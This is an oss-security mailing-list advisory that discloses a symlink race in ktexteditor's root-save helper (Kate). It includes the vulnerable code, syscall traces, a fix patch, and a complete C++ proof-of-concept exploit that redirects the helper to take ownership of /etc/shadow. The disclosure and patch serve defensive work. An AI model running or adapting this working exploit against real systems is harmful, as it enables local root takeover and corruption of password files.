[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[oss-security] ktexteditor / Kate local privilege escalation



Hello list,

following is a report about a local privilege escalation I found in
ktexteditor. I just informed upstream about it and will obtain a CVE
soon.

ktexteditor (https://api.kde.org/frameworks/ktexteditor/html/) provides
a text editor component for KDE applications. It is, for example, used
in the "kate" text editor program.

One of ktexteditor's features is support to write files owned by root or
other users after entering the root password via polkit authentication.
The authentication part is handled via the "kauth" framework. The actual
work of saving files on behalf of the authenticated user is performed by
a small program named "kauth_ktexteditor_helper". The related code is
found in the upstream repository in the following source files:

src/buffer/katesecuretextbuffer_p.h
src/buffer/katesecuretextbuffer.cpp

The logic for saving the file goes roughly as follows:

- the caller provides source and target file paths, a sha512 digest of
  the source file content and (optionally) the target file owner and
  group IDs.
- the helper tries to open a temporary file in the directory containing
  the target file, reads chunk from the source file and writes them to
  the target file, recalculating the sha512 digest on the way.
- in the end, if the digest matches, the temporary file will be
  rename()'d for replacing the target file path with the new file
  content.

For temporary file handling the qt5 core library facilities are employed
and the following source code lines are the important ones:

```
    // We will first generate temporary filename and then use it relatively to prevent an attacker
    // to trick us to write contents to a different file by changing underlying directory.
    QTemporaryFile tempFile(targetFileName);
    if (!tempFile.open()) {
        return false;
    }
    tempFile.close();
    QString tempFileName = QFileInfo(tempFile).fileName();
    tempFile.setFileName(tempFileName);
    if (!readFile.open(QIODevice::ReadOnly) || !tempFile.open()) {
        return false;
    }
```

This code results in the following system call sequence:

```
    openat(AT_FDCWD, "/etc", O_RDWR|O_CLOEXEC|O_TMPFILE, 0600) = 11
    lseek(11, 0, SEEK_SET)      = 0
    linkat(AT_FDCWD, "/proc/self/fd/11", AT_FDCWD, "/etc/fstab.hdRIFU",
    	AT_SYMLINK_FOLLOW) = 0
    close(11) = 0
    [...]
    openat(AT_FDCWD, "fstab.hdRIFU", O_RDWR|O_CREAT|O_CLOEXEC, 0666) = 12
```

So while the code author(s) have been seemingly aware that temporary
file handling needs to be done carefully they somehow still broke it in
the end which we can see from the system calls. The initially unnamed
temporary file is linked, the associated file descriptor closed and the
now named temporary file is reopened with the `O_CREAT` flag. On file
systems that don't support O_TMPFILE the vulnerability is also existing,
the code will fall back to named files right away.

As it turns out this situation can be exploited in scenarios like the
following:

A user running "kate" wants to edit and save a file in a directory that
is owned by another unprivileged user. Such directories exist for
various software e.g. in /var/lib or in /etc. The user enters root
credentials to perform the privileged save operation.

The other unprivileged user can now perform a symlink attack on the
temporary file being opened by the "kauth_ktexteditor_helper" and
achieve various effects:

- creation of new files in arbitrary file system locations.
- corruption of arbitrary existing files (because the helper will write
  the source file content into the symlinked file).
- taking ownership of arbitrary files (because the helper will perform
  an fchown() call on the symlinked file), thereby facilitating local
  root privilege escalation.

The attached proof of concept code succeeds in gaining ownership of
/etc/shadow in the described situation. Exploiting the race condition
does not work very reliably, because the window of opportunity is very
small. Some more advanced exploit code might improve the chances.

The API of the QTemporaryFile class has some non-obvious semantics. The
close() method does not really close the underlying file descriptor. The
setFileName() function, however, does. I am not clear what the original
intentions of the code above being this way might have been. As far as I
can tell the attached patch fixes the race condition detailed in this
report without breaking anything.

The vulnerable code is already found in upstream commit
f7a9573d973e6ef0cd6f2c419290c0c7e46381b7 and therefore ktexteditor
starting from version 5.34.0 can be considered vulnerable.

Cheers

Matthias

-- 
Matthias Gerstner <matthias.gerstner AT suse.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Telefon: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553

SUSE Linux GmbH
GF: Felix Imendörffer, Jane Smithard, Graham Norton
HRB 21284 (AG Nuernberg)
Index: ktexteditor-5.44.0/src/buffer/katesecuretextbuffer.cpp
===================================================================
--- ktexteditor-5.44.0.orig/src/buffer/katesecuretextbuffer.cpp
+++ ktexteditor-5.44.0/src/buffer/katesecuretextbuffer.cpp
@@ -74,9 +74,7 @@ bool SecureTextBuffer::saveFileInternal(
     if (!tempFile.open()) {
         return false;
     }
-    tempFile.close();
-    QString tempFileName = QFileInfo(tempFile).fileName();
-    tempFile.setFileName(tempFileName);
+
     if (!readFile.open(QIODevice::ReadOnly) || !tempFile.open()) {
         return false;
     }
@@ -114,7 +112,7 @@ bool SecureTextBuffer::saveFileInternal(
     }
 
     // rename temporary file to the target file
-    if (moveFile(tempFileName, targetFileName)) {
+    if (moveFile(tempFile.fileName(), targetFileName)) {
         // temporary file was renamed, there is nothing to remove anymore
         tempFile.setAutoRemove(false);
         return true;
/**
 * Author: Matthias Gerstner (matthias.gerstner AT suse.de)
 * SUSE Linux GmbH 2018
 * Date: 2018-04-23
 *
 * Local root exploit PoC for ktexteditor temporary file access race
 * condition on Linux.
 *
 * To build this run `g++ -std=c++11 -O2 kattack.cpp -okattack`.
 *
 * This program tries to fool the ktexteditor service helper component into
 * writing to /etc/shadow instead of the originally intended file location and
 * also changing ownership of /etc/shadow to an unprivileged user, thereby
 * making a local root exploit possible.
 *
 * The weakness can also be used to write new files or change ownership of
 * arbitrary other files owned by root. It requires a special setting and
 * manual interaction though.
 *
 * To reproduce this you need the following setup:
 *
 * - a regular user account that runs the Kate text editor, we call it account
 *   A.
 * - another "less privileged" account which can be any account for testing
 *   purposes, we call it account B.
 * - account B needs this PoC program and some arbitrary directory owned by
 *   him, containing a "config file" also owned by him. Both need to be
 *   readable by account A e.g. by being world readable. Let's assume the
 *   directory is /home/B/attackdir and the file is /home/B/attackdir/some.cfg.
 * - account B runs `kattack ~/attackdir`
 * - account A opens an existing /home/B/attackdir/some.cfg in Kate, changes
 *   some of the content and saves it. The ktextedit service helper component
 *   will be triggered and asks for the root password. Enter the password.
 * - Each time account A saves the file this way there is an opportunity for
 *   the PoC to succeed. The success rate can be rather low i.e. saving a few
 *   dozen of times is needed before the PoC succeeds. The PoC program exists
 *   only when the exploit succeeded.
 *
 * The weakness exploited here is that the `kauth_ktexteditor_helper` for some
 * reason safely creates an unnamed temporary file in the target directory but
 * then links it using a temporary filename, closes it and reopens it with
 * (O_CREAT|O_RDWR). If an unprivileged user owns the directory where this
 * happens then this unprivileged user has the opportunity to replace the
 * original temporary file by a symlink and have the helper create or open the
 * target file with root permissions.
 *
 * Of some help is the fact that the helper also restores the original
 * permissions of the target file. Thus we can also have the helper change
 * ownership of root owned files to our unprivileged account B.
 *
 * Warning: If this exploit succeeds then your system's /etc/shadow file will
 * be corrupted and end up with unsecure permissions. Keep a backup of the
 * original file (usually also found in /etc/shadow-) and restore it via `cp
 * -p /etc/shadow- /etc/shadow`.
 **/

#include <iostream>
#include <string>

#include <errno.h>
#include <fcntl.h>
#include <libgen.h>
#include <limits.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

class StatHelper
{
	struct stat m_s;

public:

	bool isRegular() const { return S_ISREG(m_s.st_mode) != 0; }
	bool isLink() const { return S_ISLNK(m_s.st_mode) != 0; }
	uid_t getOwner() const { return m_s.st_uid; }

	bool doStat(const std::string &p)
	{
		return ::stat(p.c_str(), &m_s) == 0;
	}

	bool doLinkStat(const std::string &p)
	{
		return ::lstat(p.c_str(), &m_s) == 0;
	}

	StatHelper()
	{
		memset(&m_s, 0, sizeof(struct stat));
	}

};

class KTextAttack
{
	bool matchesTargetFile(const std::string &evpath)
	{
		if( evpath.length() <= m_watchfile.length() )
		{
			// shorter or equal size: cannot be a tmpfile with suffix
			return false;
		}
		else if( evpath.substr(0, m_watchfile.length()) != m_watchfile )
			// not a common prefix with out target file
			return false;

		std::string suffix(evpath.substr(m_watchfile.length()));

		if( suffix[0] != '.' )
			// expecting <origfile>.[a-zA-Z].....
			return false;

		suffix = suffix.substr(1);

		if( suffix.length() <= 4 )
			// too short suffix
			return false;

		for( auto ch = suffix.begin(); ch != suffix.end(); ch++ )
		{
			if( ! isalpha(*ch) )
				// expecting only [a-zA-Z]
				return false;
		}

		return true;
	}

	void processEvent(const struct inotify_event &ev)
	{
		std::string evpath(ev.name);

		if( (ev.mask & IN_MOVED_TO) != 0 )
		{
			if( evpath == m_watchfile )
			{
				// maybe our attack succeeded by now
				checkSuccess();
			}

			return;
		}

		if( !matchesTargetFile(evpath) )
			return;

		if( m_ignore_next_creation )
		{
			m_ignore_next_creation = false;
			return;
		}

		if( unlink(evpath.c_str()) != 0 )
		{
			std::cerr << "Failed to unlink "
				<< evpath << ": " << strerror(errno)
				<< std::endl;
			return;
		}

		if( symlink(m_link_target.c_str(), evpath.c_str()) != 0 )
		{
			std::cerr << "Failed to symlink "
				<< evpath << " -> " << m_link_target << ": "
				<< strerror(errno) << std::endl;
			return;
		}

		// to avoid an infinite loop by reaction on our own events,
		// this could be solved more cleanly probably.
		m_ignore_next_creation = true;

		std::cout << evpath << " created -> deleted\n";
		std::cout << "created symlink " << evpath << " -> "
			<< m_link_target << "\n";
		std::cout << std::flush;
	}

	void monitor_edits()
	{
		constexpr auto INOBUF_SIZE = sizeof(struct inotify_event) + NAME_MAX;
		char buf[INOBUF_SIZE];
		ssize_t bytes;

		while( (bytes = read(m_ino_fd, buf, INOBUF_SIZE)) != -1 )
		{
			for( char *record = buf; record < (buf + bytes);
				record += sizeof(struct inotify_event) )
			{
				const struct inotify_event &ev = *((struct inotify_event*)record);
				record += ev.len;
				processEvent(ev);
			}
		}

		std::cerr << "Failed to read inotify events: " << strerror(errno) << std::endl;
		throw 1;
	}

	void setup_inotify()
	{
		m_ino_fd = inotify_init1(IN_CLOEXEC);

		if( m_ino_fd == -1 )
		{
			std::cerr << "Failed to init inotify: " << strerror(errno)
				<< std::endl;
			throw 1;
		}

		std::cout << "Waiting for change to " << m_watchfile << " in "
			<< m_watchdir << std::endl;

		m_watch_fd = inotify_add_watch(m_ino_fd,
			m_watchdir.c_str(), IN_CREATE | IN_MOVED_TO);

		if( m_watch_fd == -1 ) 
		{
			std::cerr << "Failed to add watch: " << strerror(errno)
				<< std::endl;
			throw 1;
		}
	}

	void checkSuccess()
	{
		StatHelper st;

		if( !st.doLinkStat(m_watchfile) )
			return;
		else if( ! st.isLink() )
			return;

		std::string target;
		target.resize(NAME_MAX);

		ssize_t len = readlink(m_watchfile.c_str(), &target[0], NAME_MAX);

		if( len == -1 )
			return;

		target.resize(len);

		try
		{
			if( target != m_link_target )
				throw 2;
			else if( !st.doStat(m_link_target) )
				throw 2;
			else if( st.getOwner() != ::getuid() )
				throw 2;

			std::cout << "Attack seems to have succeeded: "
				<< m_link_target << " is now owned by you"
				<< std::endl;
		}
		catch( ... )
		{
			std::cerr
				<< "Target file was replaced by symlink, "
				"but too late, the file setup is now broken"
				<< std::endl;
			recreateTargetFile();
			return;
		}

		throw 0;
	}

	void recreateTargetFile()
	{
		std::cerr << "Recreating " << m_watchfile << " with correct permissions." << std::endl;
		::unlink(m_watchfile.c_str());
		int fd = ::open(m_watchfile.c_str(), O_RDWR | O_CREAT, 0600);

		if( fd == -1 )
		{
			std::cerr << "Failed to recreate " << m_watchfile << ": " << strerror(errno) << std::endl;
			throw 1;
		}

		close(fd);
	}

private:

	const std::string m_path;
	std::string m_watchdir;
	std::string m_watchfile;
	int m_ino_fd = -1;
	int m_watch_fd = -1;
	const std::string m_link_target;
	bool m_ignore_next_creation = false;

public:
	void run()
	{
		setup_inotify();
		monitor_edits();
	}

	KTextAttack(const std::string &path) :
		m_path(path),
		m_link_target("/etc/shadow")
	{
		if( m_path.find('/') != m_path.npos )
		{
			m_watchdir = m_path;
			::dirname(&m_watchdir[0]);
			m_watchdir.resize( strlen(m_watchdir.c_str()) );
			std::cout << "watchdir = " << m_watchdir << "\nwatchfile = " << m_watchfile << std::endl;
			m_watchfile = m_path.substr(m_watchdir.length() + 1);
		}
		else
		{
			m_watchdir = ".";
			m_watchfile = m_path;
		}

		if( ::chdir(m_watchdir.c_str()) != 0 )
		{
			std::cerr << "Failed to chdir to " << m_watchdir
				<< ": " << strerror(errno) << std::endl;
			throw 1;
		}
	}

	~KTextAttack()
	{
		if( m_watch_fd != -1 )
			close(m_watch_fd);
		if( m_ino_fd != -1 )
			close(m_ino_fd);
	}
};

int main(const int argc, const char **argv)
{
	if( argc != 2 )
	{
		std::cerr << "Usage: "
			<< argv[0] << " [file-to-be-edited]" << std::endl;
		return 1;
	}

	std::string path(argv[1]);
	StatHelper st;

	if( !st.doLinkStat(path) )
	{
		std::cerr << path << ": " << strerror(errno) << std::endl;
		return 1;
	}
	else if( ! st.isRegular() )
	{
		std::cerr << path << ": is not a regular file" << std::endl;
		return 1;
	}

	std::cout << "Waiting for " << path << " to be edited" << std::endl;

	KTextAttack kta(path);

	try
	{
		kta.run();
	}
	catch( int res )
	{
		return res;
	}

	return 0;
}

Attachment: signature.asc
Description: Digital signature